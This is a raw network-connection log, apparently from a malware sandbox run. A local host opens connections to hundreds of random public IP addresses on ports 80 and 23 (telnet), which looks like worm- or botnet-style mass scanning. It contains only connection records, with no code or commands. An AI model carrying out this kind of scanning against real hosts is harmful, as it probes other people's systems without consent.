Jan 30, 2025 10:43:08.530442953 CET	62855	80	192.168.2.14	216.235.211.177
Jan 30, 2025 10:43:08.530442953 CET	62855	80	192.168.2.14	74.139.238.222
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	90.229.173.226
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	70.222.237.241
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	101.183.117.111
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	47.30.219.134
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	38.217.162.162
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	158.239.113.159
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	102.6.209.58
Jan 30, 2025 10:43:08.530446053 CET	62855	80	192.168.2.14	195.218.97.171
Jan 30, 2025 10:43:08.530456066 CET	62855	80	192.168.2.14	177.56.24.247
Jan 30, 2025 10:43:08.530457020 CET	62855	80	192.168.2.14	68.78.169.236
Jan 30, 2025 10:43:08.530457973 CET	62855	80	192.168.2.14	155.250.17.16
Jan 30, 2025 10:43:08.530457020 CET	62855	80	192.168.2.14	91.176.192.238
Jan 30, 2025 10:43:08.530457973 CET	62855	80	192.168.2.14	146.136.211.99
Jan 30, 2025 10:43:08.530457973 CET	62855	80	192.168.2.14	135.157.234.34
Jan 30, 2025 10:43:08.530457973 CET	62855	80	192.168.2.14	39.140.33.167
Jan 30, 2025 10:43:08.530469894 CET	62855	80	192.168.2.14	145.132.137.30
Jan 30, 2025 10:43:08.530468941 CET	62855	80	192.168.2.14	193.98.120.98
Jan 30, 2025 10:43:08.530469894 CET	62855	80	192.168.2.14	121.170.153.50
Jan 30, 2025 10:43:08.530471087 CET	62855	80	192.168.2.14	54.223.251.53
Jan 30, 2025 10:43:08.530471087 CET	62855	80	192.168.2.14	85.165.196.123
Jan 30, 2025 10:43:08.530468941 CET	62855	80	192.168.2.14	20.175.95.169
Jan 30, 2025 10:43:08.530468941 CET	62855	80	192.168.2.14	143.113.88.26
Jan 30, 2025 10:43:08.530473948 CET	62855	80	192.168.2.14	151.207.22.42
Jan 30, 2025 10:43:08.530473948 CET	62855	80	192.168.2.14	196.224.106.153
Jan 30, 2025 10:43:08.530471087 CET	62855	80	192.168.2.14	131.151.142.102
Jan 30, 2025 10:43:08.530473948 CET	62855	80	192.168.2.14	192.203.153.192
Jan 30, 2025 10:43:08.530477047 CET	62855	80	192.168.2.14	170.163.106.8
Jan 30, 2025 10:43:08.530474901 CET	62855	80	192.168.2.14	169.118.26.73
Jan 30, 2025 10:43:08.530481100 CET	62855	80	192.168.2.14	81.148.62.186
Jan 30, 2025 10:43:08.530482054 CET	62855	80	192.168.2.14	102.92.223.14
Jan 30, 2025 10:43:08.530487061 CET	62855	80	192.168.2.14	66.154.43.0
Jan 30, 2025 10:43:08.530487061 CET	62855	80	192.168.2.14	35.105.130.5
Jan 30, 2025 10:43:08.530491114 CET	62855	80	192.168.2.14	2.137.50.179
Jan 30, 2025 10:43:08.530520916 CET	62855	80	192.168.2.14	156.218.208.30
Jan 30, 2025 10:43:08.530522108 CET	62855	80	192.168.2.14	89.207.246.229
Jan 30, 2025 10:43:08.530531883 CET	62855	80	192.168.2.14	207.255.39.196
Jan 30, 2025 10:43:08.530531883 CET	62855	80	192.168.2.14	161.140.223.101
Jan 30, 2025 10:43:08.530534983 CET	62855	80	192.168.2.14	66.9.70.45
Jan 30, 2025 10:43:08.530538082 CET	62855	80	192.168.2.14	9.13.196.189
Jan 30, 2025 10:43:08.530538082 CET	62855	80	192.168.2.14	170.177.146.177
Jan 30, 2025 10:43:08.530539036 CET	62855	80	192.168.2.14	14.194.121.18
Jan 30, 2025 10:43:08.530550957 CET	62855	80	192.168.2.14	133.59.41.138
Jan 30, 2025 10:43:08.530550957 CET	62855	80	192.168.2.14	204.233.40.5
Jan 30, 2025 10:43:08.530558109 CET	62855	80	192.168.2.14	129.95.106.140
Jan 30, 2025 10:43:08.530567884 CET	62855	80	192.168.2.14	66.29.97.196
Jan 30, 2025 10:43:08.530567884 CET	62855	80	192.168.2.14	73.240.146.47
Jan 30, 2025 10:43:08.530567884 CET	62855	80	192.168.2.14	153.162.172.119
Jan 30, 2025 10:43:08.530567884 CET	62855	80	192.168.2.14	111.162.136.15
Jan 30, 2025 10:43:08.530567884 CET	62855	80	192.168.2.14	75.117.110.23
Jan 30, 2025 10:43:08.530576944 CET	62855	80	192.168.2.14	179.219.55.163
Jan 30, 2025 10:43:08.530581951 CET	62855	80	192.168.2.14	157.189.179.113
Jan 30, 2025 10:43:08.530581951 CET	62855	80	192.168.2.14	200.38.61.101
Jan 30, 2025 10:43:08.530585051 CET	62855	80	192.168.2.14	79.60.51.185
Jan 30, 2025 10:43:08.530586004 CET	62855	80	192.168.2.14	130.154.94.115
Jan 30, 2025 10:43:08.530586004 CET	62855	80	192.168.2.14	186.159.195.191
Jan 30, 2025 10:43:08.530589104 CET	62855	80	192.168.2.14	101.33.78.106
Jan 30, 2025 10:43:08.530589104 CET	62855	80	192.168.2.14	81.209.247.135
Jan 30, 2025 10:43:08.530791044 CET	45986	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:08.530791044 CET	45986	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:08.531265020 CET	46120	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:08.531708956 CET	49380	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.531708956 CET	49380	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.531975031 CET	49498	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.532356977 CET	36334	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:08.532366991 CET	36334	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:08.532604933 CET	36524	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:08.532891989 CET	59464	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:08.532891989 CET	59464	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:08.533137083 CET	59654	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:08.533442020 CET	36284	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:08.533442020 CET	36284	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:08.533658028 CET	36474	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:08.533946991 CET	39344	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:08.533946991 CET	39344	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:08.534173012 CET	39534	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:08.534466982 CET	42056	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:08.534466982 CET	42056	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:08.534704924 CET	42246	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:08.534991980 CET	59460	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:08.534991980 CET	59460	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:08.535237074 CET	59648	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:08.535561085 CET	57202	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:08.535576105 CET	57202	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:08.535590887 CET	80	45986	116.146.162.253	192.168.2.14
Jan 30, 2025 10:43:08.535804987 CET	57390	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:08.536086082 CET	39102	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:08.536086082 CET	39102	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:08.536318064 CET	39286	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:08.536519051 CET	80	49380	153.78.202.93	192.168.2.14
Jan 30, 2025 10:43:08.536602020 CET	49888	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:08.536612034 CET	49888	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:08.536765099 CET	80	49498	153.78.202.93	192.168.2.14
Jan 30, 2025 10:43:08.536813974 CET	49498	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.536860943 CET	50072	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:08.537072897 CET	80	36334	51.121.157.167	192.168.2.14
Jan 30, 2025 10:43:08.537132978 CET	57600	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:08.537147045 CET	57600	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:08.537377119 CET	57784	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:08.537645102 CET	80	59464	97.108.248.57	192.168.2.14
Jan 30, 2025 10:43:08.537661076 CET	44592	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:08.537669897 CET	44592	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:08.537942886 CET	44776	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:08.538234949 CET	49212	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:08.538234949 CET	49212	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:08.538456917 CET	49396	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:08.538738966 CET	35452	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:08.538738966 CET	35452	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:08.538969040 CET	35636	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:08.539283037 CET	34888	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.539283037 CET	34888	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.539518118 CET	35072	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.539822102 CET	58796	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:08.539822102 CET	58796	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:08.540061951 CET	58980	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:08.540359020 CET	33700	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:08.540359020 CET	33700	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:08.540591002 CET	33884	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:08.540688992 CET	80	36284	68.138.249.105	192.168.2.14
Jan 30, 2025 10:43:08.540703058 CET	80	39344	106.111.211.33	192.168.2.14
Jan 30, 2025 10:43:08.540714025 CET	80	42056	99.52.36.64	192.168.2.14
Jan 30, 2025 10:43:08.540735006 CET	80	59460	63.123.128.167	192.168.2.14
Jan 30, 2025 10:43:08.540745020 CET	80	57202	104.234.182.98	192.168.2.14
Jan 30, 2025 10:43:08.540930986 CET	46078	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:08.540940046 CET	46078	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:08.540940046 CET	80	39102	131.125.12.195	192.168.2.14
Jan 30, 2025 10:43:08.541172028 CET	46258	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:08.541457891 CET	43814	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:08.541457891 CET	43814	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:08.541681051 CET	43994	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:08.541979074 CET	80	49888	25.106.63.88	192.168.2.14
Jan 30, 2025 10:43:08.541994095 CET	50418	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:08.541994095 CET	50418	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:08.542222977 CET	50596	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:08.542510033 CET	34748	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:08.542510033 CET	34748	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:08.542645931 CET	80	57600	46.194.105.28	192.168.2.14
Jan 30, 2025 10:43:08.542735100 CET	34926	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:08.542965889 CET	80	44592	82.95.255.220	192.168.2.14
Jan 30, 2025 10:43:08.543029070 CET	46934	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:08.543029070 CET	46934	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:08.543251038 CET	47110	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:08.543538094 CET	35364	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:08.543538094 CET	35364	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:08.543559074 CET	80	49212	111.171.81.116	192.168.2.14
Jan 30, 2025 10:43:08.543759108 CET	35540	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:08.544048071 CET	46900	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:08.544048071 CET	46900	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:08.544060946 CET	80	35452	69.220.86.47	192.168.2.14
Jan 30, 2025 10:43:08.544274092 CET	47076	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:08.544503927 CET	80	34888	135.136.191.113	192.168.2.14
Jan 30, 2025 10:43:08.544601917 CET	46152	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:08.544601917 CET	46152	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:08.544651031 CET	80	35072	135.136.191.113	192.168.2.14
Jan 30, 2025 10:43:08.544692993 CET	35072	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.544838905 CET	46328	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:08.544962883 CET	80	58796	145.226.147.93	192.168.2.14
Jan 30, 2025 10:43:08.545160055 CET	49450	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:08.545160055 CET	49450	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:08.545394897 CET	49624	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:08.545559883 CET	80	33700	213.166.156.152	192.168.2.14
Jan 30, 2025 10:43:08.545705080 CET	55186	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:08.545705080 CET	55186	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:08.545933008 CET	55360	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:08.546190977 CET	80	46078	118.14.191.105	192.168.2.14
Jan 30, 2025 10:43:08.546228886 CET	60262	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:08.546228886 CET	60262	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:08.546459913 CET	60436	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:08.546530008 CET	80	43814	67.162.169.69	192.168.2.14
Jan 30, 2025 10:43:08.546842098 CET	35072	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.546845913 CET	49498	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.547005892 CET	80	50418	159.173.59.75	192.168.2.14
Jan 30, 2025 10:43:08.547738075 CET	80	34748	40.39.22.91	192.168.2.14
Jan 30, 2025 10:43:08.548193932 CET	80	46934	111.185.169.137	192.168.2.14
Jan 30, 2025 10:43:08.548660994 CET	80	35364	86.12.127.77	192.168.2.14
Jan 30, 2025 10:43:08.549241066 CET	80	46900	216.35.1.242	192.168.2.14
Jan 30, 2025 10:43:08.549725056 CET	80	46152	140.38.79.111	192.168.2.14
Jan 30, 2025 10:43:08.550296068 CET	80	49450	208.22.142.137	192.168.2.14
Jan 30, 2025 10:43:08.550812960 CET	80	55186	155.79.148.101	192.168.2.14
Jan 30, 2025 10:43:08.551388979 CET	80	60262	176.40.25.167	192.168.2.14
Jan 30, 2025 10:43:08.552040100 CET	80	35072	135.136.191.113	192.168.2.14
Jan 30, 2025 10:43:08.552092075 CET	35072	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.552166939 CET	80	49498	153.78.202.93	192.168.2.14
Jan 30, 2025 10:43:08.552220106 CET	49498	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.554992914 CET	47010	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:08.554995060 CET	58724	80	192.168.2.14	71.61.126.160
Jan 30, 2025 10:43:08.554995060 CET	33522	80	192.168.2.14	113.2.250.15
Jan 30, 2025 10:43:08.555002928 CET	56410	80	192.168.2.14	86.228.157.254
Jan 30, 2025 10:43:08.555012941 CET	35932	80	192.168.2.14	63.113.108.120
Jan 30, 2025 10:43:08.555020094 CET	43816	80	192.168.2.14	142.122.170.3
Jan 30, 2025 10:43:08.555020094 CET	60242	80	192.168.2.14	162.4.48.46
Jan 30, 2025 10:43:08.555027008 CET	57954	80	192.168.2.14	146.162.241.133
Jan 30, 2025 10:43:08.555028915 CET	50854	80	192.168.2.14	195.238.19.213
Jan 30, 2025 10:43:08.555036068 CET	55386	80	192.168.2.14	128.182.63.41
Jan 30, 2025 10:43:08.555041075 CET	40482	80	192.168.2.14	128.233.189.196
Jan 30, 2025 10:43:08.555041075 CET	46940	80	192.168.2.14	117.121.51.21
Jan 30, 2025 10:43:08.555041075 CET	38330	80	192.168.2.14	138.44.154.105
Jan 30, 2025 10:43:08.555052042 CET	42610	80	192.168.2.14	54.110.162.161
Jan 30, 2025 10:43:08.555058002 CET	57790	80	192.168.2.14	32.203.80.60
Jan 30, 2025 10:43:08.555062056 CET	50826	80	192.168.2.14	213.66.22.197
Jan 30, 2025 10:43:08.555069923 CET	50266	80	192.168.2.14	179.74.161.214
Jan 30, 2025 10:43:08.555069923 CET	54352	80	192.168.2.14	99.42.56.67
Jan 30, 2025 10:43:08.555069923 CET	36694	80	192.168.2.14	46.193.207.161
Jan 30, 2025 10:43:08.560214043 CET	80	47010	164.58.176.234	192.168.2.14
Jan 30, 2025 10:43:08.560276985 CET	47010	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:08.560385942 CET	47010	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:08.565617085 CET	80	47010	164.58.176.234	192.168.2.14
Jan 30, 2025 10:43:08.565670013 CET	47010	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:08.582542896 CET	80	45986	116.146.162.253	192.168.2.14
Jan 30, 2025 10:43:08.582555056 CET	80	42056	99.52.36.64	192.168.2.14
Jan 30, 2025 10:43:08.582673073 CET	80	39344	106.111.211.33	192.168.2.14
Jan 30, 2025 10:43:08.582684040 CET	80	36284	68.138.249.105	192.168.2.14
Jan 30, 2025 10:43:08.582693100 CET	80	59464	97.108.248.57	192.168.2.14
Jan 30, 2025 10:43:08.582703114 CET	80	36334	51.121.157.167	192.168.2.14
Jan 30, 2025 10:43:08.582829952 CET	80	49380	153.78.202.93	192.168.2.14
Jan 30, 2025 10:43:08.584652901 CET	80	35452	69.220.86.47	192.168.2.14
Jan 30, 2025 10:43:08.584784985 CET	80	49888	25.106.63.88	192.168.2.14
Jan 30, 2025 10:43:08.584795952 CET	80	49212	111.171.81.116	192.168.2.14
Jan 30, 2025 10:43:08.584811926 CET	80	44592	82.95.255.220	192.168.2.14
Jan 30, 2025 10:43:08.584820986 CET	80	39102	131.125.12.195	192.168.2.14
Jan 30, 2025 10:43:08.584937096 CET	80	57600	46.194.105.28	192.168.2.14
Jan 30, 2025 10:43:08.584944963 CET	80	57202	104.234.182.98	192.168.2.14
Jan 30, 2025 10:43:08.584959030 CET	80	59460	63.123.128.167	192.168.2.14
Jan 30, 2025 10:43:08.588125944 CET	80	34748	40.39.22.91	192.168.2.14
Jan 30, 2025 10:43:08.588253021 CET	80	50418	159.173.59.75	192.168.2.14
Jan 30, 2025 10:43:08.588265896 CET	80	43814	67.162.169.69	192.168.2.14
Jan 30, 2025 10:43:08.588277102 CET	80	46078	118.14.191.105	192.168.2.14
Jan 30, 2025 10:43:08.588287115 CET	80	33700	213.166.156.152	192.168.2.14
Jan 30, 2025 10:43:08.588296890 CET	80	58796	145.226.147.93	192.168.2.14
Jan 30, 2025 10:43:08.588305950 CET	80	34888	135.136.191.113	192.168.2.14
Jan 30, 2025 10:43:08.592206955 CET	80	60262	176.40.25.167	192.168.2.14
Jan 30, 2025 10:43:08.592216969 CET	80	55186	155.79.148.101	192.168.2.14
Jan 30, 2025 10:43:08.592228889 CET	80	49450	208.22.142.137	192.168.2.14
Jan 30, 2025 10:43:08.592240095 CET	80	46152	140.38.79.111	192.168.2.14
Jan 30, 2025 10:43:08.592251062 CET	80	46900	216.35.1.242	192.168.2.14
Jan 30, 2025 10:43:08.592261076 CET	80	35364	86.12.127.77	192.168.2.14
Jan 30, 2025 10:43:08.592274904 CET	80	46934	111.185.169.137	192.168.2.14
Jan 30, 2025 10:43:08.939115047 CET	53204	23	192.168.2.14	218.163.109.72
Jan 30, 2025 10:43:08.944036961 CET	23	53204	218.163.109.72	192.168.2.14
Jan 30, 2025 10:43:08.944185019 CET	53204	23	192.168.2.14	218.163.109.72
Jan 30, 2025 10:43:08.944384098 CET	63367	23	192.168.2.14	194.19.55.76
Jan 30, 2025 10:43:08.944394112 CET	63367	23	192.168.2.14	181.35.92.99
Jan 30, 2025 10:43:08.944428921 CET	63367	23	192.168.2.14	61.156.125.48
Jan 30, 2025 10:43:08.944463015 CET	63367	23	192.168.2.14	120.206.79.193
Jan 30, 2025 10:43:08.944470882 CET	63367	23	192.168.2.14	133.193.87.251
Jan 30, 2025 10:43:08.944506884 CET	63367	23	192.168.2.14	151.48.156.139
Jan 30, 2025 10:43:08.944510937 CET	63367	23	192.168.2.14	87.42.23.218
Jan 30, 2025 10:43:08.944530010 CET	63367	23	192.168.2.14	159.50.54.83
Jan 30, 2025 10:43:08.944554090 CET	63367	23	192.168.2.14	171.243.148.227
Jan 30, 2025 10:43:08.944577932 CET	63367	23	192.168.2.14	61.20.161.29
Jan 30, 2025 10:43:08.944617987 CET	63367	23	192.168.2.14	145.81.236.72
Jan 30, 2025 10:43:08.944638014 CET	63367	23	192.168.2.14	134.141.240.169
Jan 30, 2025 10:43:08.944664955 CET	63367	23	192.168.2.14	119.223.136.128
Jan 30, 2025 10:43:08.944716930 CET	63367	23	192.168.2.14	193.144.40.69
Jan 30, 2025 10:43:08.944731951 CET	63367	23	192.168.2.14	193.129.125.58
Jan 30, 2025 10:43:08.944751024 CET	63367	23	192.168.2.14	101.2.35.225
Jan 30, 2025 10:43:08.944772005 CET	63367	23	192.168.2.14	192.242.171.143
Jan 30, 2025 10:43:08.944797039 CET	63367	23	192.168.2.14	75.10.46.93
Jan 30, 2025 10:43:08.944802046 CET	63367	23	192.168.2.14	103.165.172.191
Jan 30, 2025 10:43:08.944802046 CET	63367	23	192.168.2.14	151.216.217.44
Jan 30, 2025 10:43:08.944819927 CET	63367	23	192.168.2.14	105.4.227.136
Jan 30, 2025 10:43:08.944835901 CET	63367	23	192.168.2.14	44.229.195.196
Jan 30, 2025 10:43:08.944848061 CET	63367	23	192.168.2.14	168.115.93.150
Jan 30, 2025 10:43:08.944853067 CET	63367	23	192.168.2.14	102.12.200.24
Jan 30, 2025 10:43:08.944854021 CET	63367	23	192.168.2.14	96.27.126.1
Jan 30, 2025 10:43:08.944878101 CET	63367	23	192.168.2.14	159.89.47.81
Jan 30, 2025 10:43:08.944878101 CET	63367	23	192.168.2.14	128.139.251.149
Jan 30, 2025 10:43:08.944878101 CET	63367	23	192.168.2.14	158.45.243.83
Jan 30, 2025 10:43:08.944891930 CET	63367	23	192.168.2.14	222.206.111.58
Jan 30, 2025 10:43:08.944897890 CET	63367	23	192.168.2.14	166.43.195.2
Jan 30, 2025 10:43:08.944897890 CET	63367	23	192.168.2.14	203.206.36.146
Jan 30, 2025 10:43:08.944900990 CET	63367	23	192.168.2.14	36.157.203.242
Jan 30, 2025 10:43:08.944900990 CET	63367	23	192.168.2.14	38.187.93.63
Jan 30, 2025 10:43:08.944900990 CET	63367	23	192.168.2.14	13.86.75.8
Jan 30, 2025 10:43:08.944916010 CET	63367	23	192.168.2.14	101.208.154.64
Jan 30, 2025 10:43:08.944916010 CET	63367	23	192.168.2.14	52.33.96.194
Jan 30, 2025 10:43:08.944922924 CET	63367	23	192.168.2.14	165.170.195.34
Jan 30, 2025 10:43:08.944928885 CET	63367	23	192.168.2.14	119.79.59.23
Jan 30, 2025 10:43:08.944937944 CET	63367	23	192.168.2.14	189.111.126.149
Jan 30, 2025 10:43:08.944942951 CET	63367	23	192.168.2.14	137.5.112.37
Jan 30, 2025 10:43:08.944951057 CET	63367	23	192.168.2.14	46.185.63.179
Jan 30, 2025 10:43:08.944951057 CET	63367	23	192.168.2.14	160.236.154.19
Jan 30, 2025 10:43:08.944952011 CET	63367	23	192.168.2.14	204.239.114.249
Jan 30, 2025 10:43:08.944961071 CET	63367	23	192.168.2.14	57.122.150.126
Jan 30, 2025 10:43:08.944967985 CET	63367	23	192.168.2.14	97.4.233.4
Jan 30, 2025 10:43:08.944982052 CET	63367	23	192.168.2.14	8.57.17.12
Jan 30, 2025 10:43:08.944983006 CET	63367	23	192.168.2.14	199.176.13.132
Jan 30, 2025 10:43:08.944983959 CET	63367	23	192.168.2.14	136.132.147.73
Jan 30, 2025 10:43:08.944993973 CET	63367	23	192.168.2.14	119.149.96.192
Jan 30, 2025 10:43:08.945004940 CET	63367	23	192.168.2.14	155.103.219.21
Jan 30, 2025 10:43:08.945010900 CET	63367	23	192.168.2.14	135.36.126.253
Jan 30, 2025 10:43:08.945017099 CET	63367	23	192.168.2.14	117.174.128.59
Jan 30, 2025 10:43:08.945017099 CET	63367	23	192.168.2.14	189.253.63.128
Jan 30, 2025 10:43:08.945024014 CET	63367	23	192.168.2.14	168.57.166.4
Jan 30, 2025 10:43:08.945025921 CET	63367	23	192.168.2.14	102.40.246.186
Jan 30, 2025 10:43:08.945031881 CET	63367	23	192.168.2.14	208.122.251.235
Jan 30, 2025 10:43:08.945034027 CET	63367	23	192.168.2.14	75.235.191.250
Jan 30, 2025 10:43:08.945034981 CET	63367	23	192.168.2.14	222.244.86.196
Jan 30, 2025 10:43:08.945051908 CET	63367	23	192.168.2.14	86.0.64.108
Jan 30, 2025 10:43:08.945051908 CET	63367	23	192.168.2.14	57.120.78.89
Jan 30, 2025 10:43:08.945055962 CET	63367	23	192.168.2.14	12.247.224.70
Jan 30, 2025 10:43:08.945061922 CET	63367	23	192.168.2.14	139.211.0.134
Jan 30, 2025 10:43:08.945065975 CET	63367	23	192.168.2.14	181.10.189.120
Jan 30, 2025 10:43:08.945065022 CET	63367	23	192.168.2.14	12.165.79.144
Jan 30, 2025 10:43:08.945065022 CET	63367	23	192.168.2.14	38.140.214.81
Jan 30, 2025 10:43:08.945065022 CET	63367	23	192.168.2.14	57.58.155.76
Jan 30, 2025 10:43:08.945071936 CET	63367	23	192.168.2.14	48.9.211.106
Jan 30, 2025 10:43:08.945071936 CET	63367	23	192.168.2.14	90.112.103.64
Jan 30, 2025 10:43:08.945075035 CET	63367	23	192.168.2.14	200.165.57.176
Jan 30, 2025 10:43:08.945080042 CET	63367	23	192.168.2.14	58.88.3.226
Jan 30, 2025 10:43:08.945080996 CET	63367	23	192.168.2.14	182.81.147.249
Jan 30, 2025 10:43:08.945084095 CET	63367	23	192.168.2.14	205.161.99.188
Jan 30, 2025 10:43:08.945097923 CET	63367	23	192.168.2.14	25.144.86.245
Jan 30, 2025 10:43:08.945097923 CET	63367	23	192.168.2.14	203.143.225.121
Jan 30, 2025 10:43:08.945102930 CET	63367	23	192.168.2.14	131.211.73.137
Jan 30, 2025 10:43:08.945110083 CET	63367	23	192.168.2.14	19.214.233.121
Jan 30, 2025 10:43:08.945115089 CET	63367	23	192.168.2.14	86.187.57.132
Jan 30, 2025 10:43:08.945118904 CET	63367	23	192.168.2.14	126.182.184.163
Jan 30, 2025 10:43:08.945136070 CET	63367	23	192.168.2.14	173.70.38.213
Jan 30, 2025 10:43:08.945136070 CET	63367	23	192.168.2.14	62.138.244.74
Jan 30, 2025 10:43:08.945139885 CET	63367	23	192.168.2.14	117.145.43.124
Jan 30, 2025 10:43:08.945152044 CET	63367	23	192.168.2.14	113.1.216.58
Jan 30, 2025 10:43:08.945152998 CET	63367	23	192.168.2.14	135.18.12.85
Jan 30, 2025 10:43:08.945157051 CET	63367	23	192.168.2.14	123.11.217.229
Jan 30, 2025 10:43:08.945158958 CET	63367	23	192.168.2.14	207.73.194.193
Jan 30, 2025 10:43:08.945173025 CET	63367	23	192.168.2.14	31.210.147.113
Jan 30, 2025 10:43:08.945175886 CET	63367	23	192.168.2.14	156.76.70.68
Jan 30, 2025 10:43:08.945184946 CET	63367	23	192.168.2.14	181.187.144.215
Jan 30, 2025 10:43:08.945189953 CET	63367	23	192.168.2.14	70.77.164.168
Jan 30, 2025 10:43:08.945189953 CET	63367	23	192.168.2.14	140.230.140.255
Jan 30, 2025 10:43:08.945189953 CET	63367	23	192.168.2.14	138.243.165.45
Jan 30, 2025 10:43:08.945214033 CET	63367	23	192.168.2.14	137.169.159.42
Jan 30, 2025 10:43:08.945225000 CET	63367	23	192.168.2.14	176.249.211.186
Jan 30, 2025 10:43:08.945228100 CET	63367	23	192.168.2.14	108.89.74.133
Jan 30, 2025 10:43:08.945230007 CET	63367	23	192.168.2.14	191.223.126.42
Jan 30, 2025 10:43:08.945230007 CET	63367	23	192.168.2.14	161.25.33.231
Jan 30, 2025 10:43:08.945245981 CET	63367	23	192.168.2.14	61.199.157.22
Jan 30, 2025 10:43:08.945247889 CET	63367	23	192.168.2.14	39.167.105.232
Jan 30, 2025 10:43:08.945250034 CET	63367	23	192.168.2.14	150.70.224.57
